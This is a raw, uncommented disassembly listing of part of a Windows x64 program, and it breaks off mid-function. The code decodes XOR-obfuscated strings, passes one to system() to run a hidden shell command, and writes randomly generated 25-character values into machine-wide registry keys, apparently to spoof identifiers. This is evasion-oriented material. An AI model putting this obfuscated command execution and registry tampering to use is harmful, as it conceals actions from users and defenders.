movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400c2170
cmp r8d, 0x39
jge 0x1400c22c3
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400c2290
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.ajgaszdzOINXPK]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x140175ea0]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x140175eb0]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x140175ec0]
movups xmmword [rbp + 0x40], xmm1
movzx eax, word [0x140175ed0]
mov word [rbp + 0x50], ax
movzx eax, byte [0x140175ed2]
mov byte [rbp + 0x52], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c245d
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400c2350
cmp r8d, 0x43
jge 0x1400c24a3
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x43
jl 0x1400c2470
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov rdx, r14
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c24e1
mov dword [rbp + 0x180], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov rsi, rbx
mov qword [rbp - 8], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp], r15
mov byte [rbp - 0x18], sil
mov edi, ebx
movzx r12d, byte [0x140174a28]
movups xmm4, xmmword [0x140174a18]
lea r14, [r15 - 0x10]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c259c
cmp edi, 0x18
je 0x1400c259c
movzx eax, word [0x140175284]
mov word [rbp - 0x30], ax
cmp byte [0x140175285], 0
je 0x1400c2577
mov byte [rbp - 0x30], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp - 0x2f], 0x33
lea rax, [rbp - 0x30]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400c2580
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x18]
call fcn.140058c00
jmp 0x1400c277d
movups xmmword [rsp + 0x30], xmm4
mov byte [rsp + 0x40], r12b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c26ef
movdqa xmm6, xmmword [0x140178380]
movdqa xmm5, xmmword [0x140178780]
movdqa xmm7, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c25e2
cmp r8d, 0x11
jge 0x1400c2733
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c2700
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x30]
cmp rsi, r15
jae 0x1400c2774
lea rax, [rsi + 1]
mov qword [rbp - 8], rax
lea rax, [rbp - 0x18]
cmp r15, 0xf
cmova rax, qword [rbp - 0x18]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c278c
lea rcx, [rbp - 0x18]
call fcn.14005fbb0
movups xmm4, xmmword [0x140174a18]
movzx r12d, byte [0x140174a28]
inc edi
cmp edi, 0x19
jge 0x1400c27a0
mov r15, qword [rbp]
mov rsi, qword [rbp - 8]
jmp 0x1400c2540
mov r14d, 1
mov r9d, r14d
lea r8, [0x14016efb4]
xor edx, edx
lea rcx, [rbp - 0x18]
call fcn.140061790
mov r9d, r14d
lea r8, [0x14016efb0]
mov rdx, qword [rbp - 8]
lea rcx, [rbp - 0x18]
call fcn.140061790
lea r10, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova r10, qword [rbp - 0x18]
movsd xmm0, qword [str.zDdGYQQU_ITZ_]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140175030]
mov dword [rsp + 0x38], eax
movzx eax, word [0x140175034]
mov word [rsp + 0x3c], ax
cmp byte [0x140175035], 0
je 0x1400c2973
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2928
movdqa xmm4, xmmword [0x140178780]
movdqa xmm2, xmmword [0x140178380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
mov eax, dword [0x140178560]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.zDdGYQQU_ITZ_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1401783a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c2940
mov eax, dword [rbp - 8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c29a2
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x1401751a0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1401751b0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1401751c0]
movups xmmword [rsp + 0x50], xmm0
movzx eax, word [0x1401751d0]
mov word [rsp + 0x60], ax
movzx eax, byte [0x1401751d2]
mov byte [rsp + 0x62], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2b3d
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c2a30
cmp r8d, 0x33
jge 0x1400c2b83
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x1400c2b50
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov rdx, r14
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c2bd0
mov dword [rbp + 0x180], 0x270
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov rsi, rbx
mov qword [rbp + 0x20], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x28], r15
mov byte [rbp + 0x10], sil
mov edi, ebx
movzx r12d, byte [0x140174a28]
movups xmm4, xmmword [0x140174a18]
nop dword [rax + rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c2c63
cmp edi, 0x18
je 0x1400c2c63
mov r8, r14
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x10]
call fcn.140058c00
jmp 0x1400c2e4d
movups xmmword [rsp + 0x30], xmm4
mov byte [rsp + 0x40], r12b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2dbd
movdqa xmm6, xmmword [0x140178380]
movdqa xmm5, xmmword [0x140178780]
movdqa xmm7, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c2cb0
cmp r8d, 0x11
jge 0x1400c2e03
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c2dd0
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x30]
cmp rsi, r15
jae 0x1400c2e44
lea rax, [rsi + 1]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x10]
cmp r15, 0xf
cmova rax, qword [rbp + 0x10]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c2e5c
lea rcx, [rbp + 0x10]
call fcn.14005fbb0
movups xmm4, xmmword [0x140174a18]
movzx r12d, byte [0x140174a28]
inc edi
cmp edi, 0x19
jge 0x1400c2e70
mov r15, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x20]
jmp 0x1400c2c30
mov r9, r14
lea r8, [0x14016efb4]
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.140061790
mov r9, r14
lea r8, [0x14016efb0]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x10]
call fcn.140061790
lea r10, [rbp + 0x10]
movups xmm0, xmmword [str.qYECC_KrZNYI2__vD]
movzx eax, word [0x1401748c8]
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
movzx eax, byte [0x1401748ca]
mov byte [rsp + 0x42], al
cmp qword [rbp + 0x28], 0xf
jbe 0x1400c2ece
mov r10, qword [rbp + 0x10]
mov r8d, ebx
cmp r13d, 2
jl 0x1400c301d
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c2f10
cmp r8d, 0x13
jge 0x1400c3063
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400c3030
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c3092
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x10]
call fcn.14003d640
movups xmm0, xmmword [0x1401751a0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1401751b0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1401751c0]
movups xmmword [rsp + 0x50], xmm0
movzx eax, word [0x1401751d0]
mov word [rsp + 0x60], ax
movzx eax, byte [0x1401751d2]
mov byte [rsp + 0x62], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c322d
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c3120
cmp r8d, 0x33
jge 0x1400c3273
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x1400c3240
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov rdx, r14
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c32c0
mov dword [rbp + 0x180], 0x270
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov rsi, rbx
mov qword [rbp + 0x20], rbx
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x28], r15
mov byte [rbp + 0x10], sil
mov edi, ebx
movzx r12d, byte [0x140174a28]
movups xmm4, xmmword [0x140174a18]
nop dword [rax + rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c3353
cmp edi, 0x18
je 0x1400c3353
mov r8, r14
